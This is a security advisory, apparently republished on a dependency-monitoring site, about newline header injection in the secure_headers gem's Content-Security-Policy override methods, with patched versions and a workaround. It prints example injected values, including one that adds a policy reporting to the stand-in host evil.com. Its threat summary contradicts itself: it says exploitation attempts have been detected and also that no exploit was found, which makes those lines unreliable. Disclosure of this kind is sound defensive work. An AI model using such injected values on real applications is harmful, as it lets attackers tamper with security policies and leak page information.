Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w978-rmpf-qmwg
No affected components available
Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
would result in
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
Workarounds
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies
For more information
If you have any questions or comments about this advisory:
- Open an issue in this repo
- DM us at @ndm on twitter
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard